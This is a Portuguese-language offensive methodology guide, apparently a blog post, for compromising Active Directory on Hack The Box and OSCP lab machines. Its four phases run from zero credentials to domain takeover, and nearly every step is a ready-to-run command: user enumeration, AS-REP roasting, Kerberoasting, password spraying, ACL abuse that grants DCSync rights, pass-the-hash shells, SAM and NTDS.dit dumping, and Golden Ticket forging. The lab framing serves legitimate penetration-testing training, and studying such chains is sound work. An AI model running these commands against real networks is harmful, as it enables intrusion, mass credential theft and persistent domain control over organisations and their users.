Toda box AD segue o mesmo padrão. Você começa com nada, acha uma brecha, alarga ela, e domina o domínio. A chain é previsível. O que muda é onde cada elo quebra.
Essa é a metodologia que eu sigo em toda box AD. Construída fazendo boxes como Active, Forest, Blackfield, e várias outras. Não é teoria — é o que eu realmente rodo.
Fase 0 — Setup
Antes de tocar na box. 30 segundos de setup que previnem 30 minutos de confusão depois.
Adicionar o Domínio ao /etc/hosts
echo "$IP domain.htb dc01.domain.htb" | sudo tee -a /etc/hosts
Sempre adicione tanto o nome do domínio quanto o hostname do DC. Autenticação Kerberos exige resolução de hostname correta. Se suas ferramentas tão falhando com erros estranhos, cheque /etc/hosts primeiro. Já perdi uma quantidade vergonhosa de tempo nisso.
Sincronizar Relógio
sudo ntpdate -s $IP
Kerberos é sensível a horário. Se seu relógio tiver mais de 5 minutos de diferença do DC, autenticação falha. Sem mensagem de erro útil — só falha. Sincronize antes de começar.
Criar Diretório de Trabalho
mkdir -p {scans,loot,bloodhound}
Você vai coletar muita saída. Se organize ou se afogue.
Fase 1 — Sem Credenciais
Você não tem nada. O objetivo é simples: pegar um username, pegar uma senha, pegar qualquer coisa.
1.1 — Enumeração com Null Session
Tente tudo sem autenticação. Algo geralmente responde.
# SMB null session
crackmapexec smb $IP -u '' -p ''
smbclient -N -L //$IP/
smbmap -H $IP -u '' -p ''
# RPC null session
rpcclient -U '' -N $IP
> enumdomusers
> enumdomgroups
> querydispinfo
# LDAP anonymous bind
ldapsearch -x -H ldap://$IP -b "DC=domain,DC=htb"
O que eu tô caçando: Usernames. Essa é a prioridade. Um username válido abre portas.
No Forest, RPC nula me deu a lista completa de usuários. Isso foi o foothold inteiro — AS-REP Roasting em um desses usuários.
1.2 — Enumeração de Usuários via Kerberos
Se null sessions não derem nada, Kerberos frequentemente confirma usernames válidos sem disparar lockouts.
kerbrute userenum -d domain.htb --dc $IP /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
Usuários válidos retornam uma resposta diferente dos inválidos. Sem risco de lockout. Sem eventos de logon falhado pra usuários válidos.
1.3 — AS-REP Roasting (Pre-Auth Desabilitada)
Uma vez que você tem usernames — mesmo poucos — tente isso imediatamente.
impacket-GetNPUsers domain.htb/ -dc-ip $IP -usersfile users.txt -no-pass -format hashcat
Se alguma conta tem “Do not require Kerberos preauthentication” -> você pega um hash. Cracka ele.
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
Esse foi o caminho no Forest. RPC nula -> lista de usuários -> AS-REP Roast -> primeiras creds. Chain limpa.
1.4 — Enumeração de Shares SMB (Guest/Anônimo)
Algumas shares são legíveis sem creds. Ou com acesso guest.
smbmap -H $IP -u 'guest' -p ''
crackmapexec smb $IP -u 'guest' -p '' --shares
No Active, a share Replication era legível anonimamente. Tinha um arquivo Groups.xml com uma senha GPP. Esse foi o foothold.
Sempre baixe e inspecione tudo em shares legíveis:
smbget -R smb://$IP/sharename/
Procure por:
- Arquivos GPP (
Groups.xml) — contêm senhas encriptadas, descriptografáveis comgpp-decrypt - Scripts — logon scripts, batch files, scripts PowerShell com creds hardcoded
- Arquivos de config — web.config, connection strings, qualquer coisa com credenciais
- Documentação — políticas de senha, senhas padrão, docs de onboarding
1.5 — SNMP Walk
Se UDP 161 tá aberta:
snmpwalk -v2c -c public $IP 1.3.6.1
SNMP pode dumpar processos rodando, software instalado, às vezes até linhas de comando com credenciais.
1.6 — DNS Zone Transfer
dig axfr @$IP domain.htb
Revela subdomínios, hostnames, às vezes outros DCs ou servidores que você não sabia que existiam.
Ponto de Decisão — Fim da Fase 1
Se você tem credenciais -> Fase 2. Se você tem usernames mas sem senhas -> password spray.
# Password spraying (cuidado com lockout!)
crackmapexec smb $IP -u users.txt -p 'Season2026!' --continue-on-success
Senhas pra tentar: Welcome1, Password123, NomeDaEmpresa2026!, Season+Year+!. Cheque a política de senhas primeiro se possível:
crackmapexec smb $IP -u '' -p '' --pass-pol
Se você não tem nada -> cheque serviços web, cheque outros vetores de ataque. Às vezes o foothold AD vem por uma web app na mesma box.
Fase 2 — Primeiras Credenciais
Você tem um username e senha de domínio. O jogo muda completamente.
2.1 — Validar e Testar Acesso
Primeiro, confirme o que suas creds podem fazer.
# Testar creds em todos os serviços
crackmapexec smb $IP -u 'user' -p 'password'
crackmapexec winrm $IP -u 'user' -p 'password'
crackmapexec mssql $IP -u 'user' -p 'password'
crackmapexec ldap $IP -u 'user' -p 'password'
Aquele tag (Pwn3d!) no WinRM significa que você tem acesso shell. Se você ver isso -> evil-winrm imediatamente.
evil-winrm -i $IP -u 'user' -p 'password'
2.2 — Coleta BloodHound
Rode isso no momento que tiver creds válidas. Não depois. Agora.
bloodhound-python -u 'user' -p 'password' -d domain.htb -ns $IP -c all
Isso coleta usuários, grupos, sessões, ACLs, trusts — tudo. Importe os JSONs no BloodHound.
O que procurar no BloodHound:
- “Shortest Path to Domain Admin” — primeiro check óbvio
- “Shortest Path from Owned Principals” — marque seu usuário como owned primeiro
- Contas Kerberoastable — cheque quais SPNs existem
- Usuários com direitos DCSync
- Contas com permissões perigosas — GenericAll, GenericWrite, WriteDACL, ForceChangePassword, AddMember
No Blackfield, BloodHound mostrou que meu usuário comprometido tinha direitos ForceChangePassword sobre outra conta. Esse era o caminho inteiro de escalação. Teria demorado uma eternidade pra achar manualmente.
2.3 — Kerberoasting
Autenticado agora. Mire em service accounts com SPNs.
impacket-GetUserSPNs domain.htb/user:password -dc-ip $IP -request -outputfile kerberoast.hash
Cracke os hashes:
hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt
Service accounts frequentemente têm senhas fracas e privilégios altos. No Active, Kerberoasting o SPN da conta Administrator me deu o domínio. Direto das primeiras creds pra DA.
Priorize cracking: Contas em Domain Admins ou com acesso nível admin (BloodHound te diz isso).
2.4 — Enumeração Autenticada de Shares
Você pode ver mais shares agora.
smbmap -H $IP -u 'user' -p 'password'
crackmapexec smb $IP -u 'user' -p 'password' --shares
Procure shares novas que não eram visíveis antes. SYSVOL e NETLOGON sempre valem checar:
smbclient //$IP/SYSVOL -U 'user%password'
smbclient //$IP/NETLOGON -U 'user%password'
SYSVOL contém group policies. NETLOGON contém logon scripts. Ambos podem conter credenciais.
2.5 — Dump LDAP Autenticado
# Todos os usuários com detalhes
ldapsearch -x -H ldap://$IP -D "[email protected]" -w 'password' -b "DC=domain,DC=htb" '(objectClass=person)' sAMAccountName description memberOf servicePrincipalName
# Computadores
ldapsearch -x -H ldap://$IP -D "[email protected]" -w 'password' -b "DC=domain,DC=htb" '(objectClass=computer)' cn operatingSystem
Cheque campos de descrição. Admins colocam senhas lá mais do que você imaginaria.
2.6 — Abuso de ACL
BloodHound achou permissões perigosas? Hora de explorar.
GenericAll em um usuário:
# Resetar a senha
net rpc password "targetuser" "NewPass123!" -U "domain.htb/user%password" -S $IP
GenericWrite em um usuário:
# Setar SPN pra Kerberoasting direcionado
impacket-addspn -u 'domain.htb/user' -p 'password' -t 'targetuser' -s 'HTTP/fake' "dc01.domain.htb"
# Depois Kerberoast neles
WriteDACL:
# Conceder direitos DCSync pra você
impacket-dacledit -action 'write' -rights 'DCSync' -principal 'user' -target-dn 'DC=domain,DC=htb' "domain.htb/user:password"
ForceChangePassword:
rpcclient -U 'user%password' $IP
> setuserinfo2 targetuser 23 'NewPass123!'
AddMember em um grupo:
net rpc group addmem "Target Group" "user" -U "domain.htb/user%password" -S $IP
Ponto de Decisão — Fim da Fase 2
Pegou creds de admin? -> Fase 4 (Comprometimento do Domínio). Pegou creds de outro usuário? -> Repita Fase 2 com novo usuário, cheque o que ele pode acessar. Pegou local admin numa máquina? -> Fase 3 (Lateral Movement). Travado? -> Cheque BloodHound de novo. Tente queries diferentes. Olhe mais atentamente pra group memberships.
Fase 3 — Lateral Movement
Você tem credenciais (senha ou hash) e precisa se mover pra outras máquinas.
3.1 — Escolha Sua Ferramenta
Árvore de decisão pra execução remota:
- Tem senha + WinRM aberto (5985)? ->
evil-winrm(shell mais limpa) - Tem hash + WinRM aberto? ->
evil-winrm -H <hash>(Pass the Hash) - Tem senha + sem WinRM? ->
impacket-psexec(requer admin, cai como SYSTEM) - Tem hash + sem WinRM? ->
impacket-psexec -hashes :NTLM_HASH(PtH) - Precisa de stealth? ->
impacket-wmiexec(menos barulhento que psexec) - psexec falhando? ->
impacket-smbexecouimpacket-atexeccomo alternativas
# Evil-WinRM com senha
evil-winrm -i $TARGET -u 'admin' -p 'password'
# Evil-WinRM com hash (Pass the Hash)
evil-winrm -i $TARGET -u 'admin' -H 'NTLM_HASH'
# PsExec com senha
impacket-psexec domain.htb/admin:password@$TARGET
# PsExec com hash
impacket-psexec -hashes :NTLM_HASH domain.htb/admin@$TARGET
# WMIExec (menos barulhento)
impacket-wmiexec domain.htb/admin:password@$TARGET
3.2 — Coleta de Credenciais em Hosts Comprometidos
Uma vez na máquina, colha tudo.
# Dumpar SAM (contas locais)
impacket-secretsdump admin:password@$TARGET
# Ou de uma shell:
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
# Baixar e extrair offline:
impacket-secretsdump -sam sam.bak -system system.bak LOCAL
Procure por:
- Hashes de local admin (reutilizados em outras máquinas?)
- Credenciais de domínio em cache
- LSA secrets
3.3 — Reuso de Credenciais
A técnica #1 de lateral movement. Tente toda credencial que você tem em toda máquina.
# Spray um hash em todos os hosts
crackmapexec smb targets.txt -u 'admin' -H 'NTLM_HASH' --continue-on-success
Reuso de senha de local admin é extremamente comum. Um hash frequentemente te dá múltiplas máquinas.
3.4 — Abuso de Token / Sessão (De Uma Shell)
Se você tem shell numa máquina onde um usuário privilegiado tá logado:
# Checar tokens (requer SeImpersonatePrivilege)
# Use ferramentas como Rubeus, Incognito, ou PrintSpoofer
whoami /priv
Se você tem SeImpersonatePrivilege -> ataques Potato (PrintSpoofer, GodPotato, etc.) pra SYSTEM.
Fase 4 — Comprometimento do Domínio
Você tem acesso equivalente a Domain Admin. Hora de provar.
4.1 — DCSync
A forma mais limpa de dumpar todos os hashes do domínio. Requer direitos de replicação (Domain Admins têm isso por padrão).
impacket-secretsdump domain.htb/admin:password@$DC_IP
Isso dumpa:
- Todos os hashes NTLM de usuários do domínio (incluindo krbtgt)
- Todos os hashes de computadores do domínio
- Kerberos keys
Você quer o hash NTLM do Administrator e o hash do krbtgt.
# DCSync só do Administrator
impacket-secretsdump -just-dc-user Administrator domain.htb/admin:password@$DC_IP
# DCSync só do krbtgt (pra Golden Ticket)
impacket-secretsdump -just-dc-user krbtgt domain.htb/admin:password@$DC_IP
4.2 — Extração de NTDS.dit
Alternativa ao DCSync. Pegar o arquivo do banco de dados diretamente.
# De uma shell admin no DC
# Criar shadow copy
vssadmin create shadow /for=C:
# Copiar NTDS.dit da shadow
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\system.bak
# Baixar ambos os arquivos, depois extrair offline
impacket-secretsdump -ntds ntds.dit -system system.bak LOCAL
4.3 — Golden Ticket
Com o hash do krbtgt, você pode forjar tickets pra qualquer usuário. Persistência que sobrevive reset de senhas (exceto reset do krbtgt).
# Pegar SID do domínio
impacket-lookupsid domain.htb/admin:password@$DC_IP
# Forjar Golden Ticket
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid <DOMAIN_SID> -domain domain.htb Administrator
# Usar
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass domain.htb/[email protected]
Pro OSCP, DCSync geralmente é suficiente pra provar comprometimento do domínio. Golden Ticket é bom pra entender mas é overkill pra maioria dos cenários de exame.
4.4 — Pass the Hash pro Domain Controller
Se você tem o hash NTLM do DA, só use direto.
# Shell no DC
impacket-psexec -hashes :DA_NTLM_HASH domain.htb/Administrator@$DC_IP
evil-winrm -i $DC_IP -u 'Administrator' -H 'DA_NTLM_HASH'
Caminho mais simples. Hash do DCSync -> PtH -> shell no DC -> proof.txt.
A Chain Completa — Visual
Fase 1 (Sem Creds)
├── Null sessions -> usernames
├── Kerberos user enum -> usernames
├── AS-REP Roasting -> hash de senha
├── Shares anônimas -> credenciais/info
├── SNMP/DNS -> coleta de info
└── Password spraying -> primeiras creds
│
▼
Fase 2 (Primeiras Creds)
├── BloodHound -> caminhos de ataque
├── Kerberoasting -> hashes de service accounts
├── Enumeração de shares -> mais creds/info
├── LDAP dump -> usuários, descrições, grupos
├── ACL abuse -> escalação de privilégios
└── Reuso de credenciais -> mais acesso
│
▼
Fase 3 (Lateral Movement)
├── Pass the Hash -> outras máquinas
├── Evil-WinRM -> shells
├── PsExec/WMIExec -> shells
├── SAM/LSA dumps -> mais hashes
└── Abuso de token -> privilégios maiores
│
▼
Fase 4 (Comprometimento do Domínio)
├── DCSync -> todos os hashes
├── NTDS.dit -> extração offline
├── Golden Ticket -> persistência
└── PtH como DA -> proof.txt
Erros Comuns Que Eu Cometi em Boxes AD
Não rodar BloodHound imediatamente. Eu costumava enumerar manualmente depois de pegar creds. BloodHound mostra caminhos em segundos que demoram horas pra achar manualmente. Rode primeiro. Sempre.
Esquecer de sincronizar horário. Ferramentas Kerberos falham silenciosamente ou com erros crípticos quando os relógios tão fora de sync.
ntpdateantes de começar.Não checar ACLs. O caminho pro DA é frequentemente por ACL abuse, não exploração direta. A análise de edges do BloodHound é onde o ouro tá.
Tentar crackear tudo. Nem todo hash de Kerberoast vai crackear. Se não crackear em 5 minutos com rockyou, segue em frente e procure outro caminho.
Ignorar reuso de senhas. Um conjunto de creds deve ser testado contra todo serviço, toda máquina.
crackmapexeccom--continue-on-successem todos os hosts descobertos.Não adicionar hostnames descobertos ao /etc/hosts. Todo hostname que você achar no BloodHound ou LDAP — adicione. Algumas ferramentas exigem resolução de nome correta.
Cheat Sheet — Ferramentas por Fase
| Fase | Ferramenta | Propósito |
|---|---|---|
| 0 | ntpdate | Sync de relógio |
| 1 | crackmapexec | Null sessions, spraying |
| 1 | kerbrute | Enumeração de usuários |
| 1 | impacket-GetNPUsers | AS-REP Roasting |
| 1 | enum4linux | Enumeração SMB |
| 2 | bloodhound-python | Coleta de dados AD |
| 2 | impacket-GetUserSPNs | Kerberoasting |
| 2 | ldapsearch | Enumeração LDAP |
| 2 | smbmap | Enumeração de shares |
| 3 | evil-winrm | Shell remota (WinRM) |
| 3 | impacket-psexec | Shell remota (SMB) |
| 3 | impacket-wmiexec | Shell remota (WMI) |
| 3 | impacket-secretsdump | Dumping de credenciais |
| 4 | impacket-secretsdump | DCSync |
| 4 | impacket-ticketer | Golden Ticket |
A chain é sempre a mesma: enumerar -> achar uma brecha -> escalar -> repetir até DA. O que muda é onde você acha cada brecha. BloodHound e enumeração metódica acham mais rápido do que chutar jamais vai achar.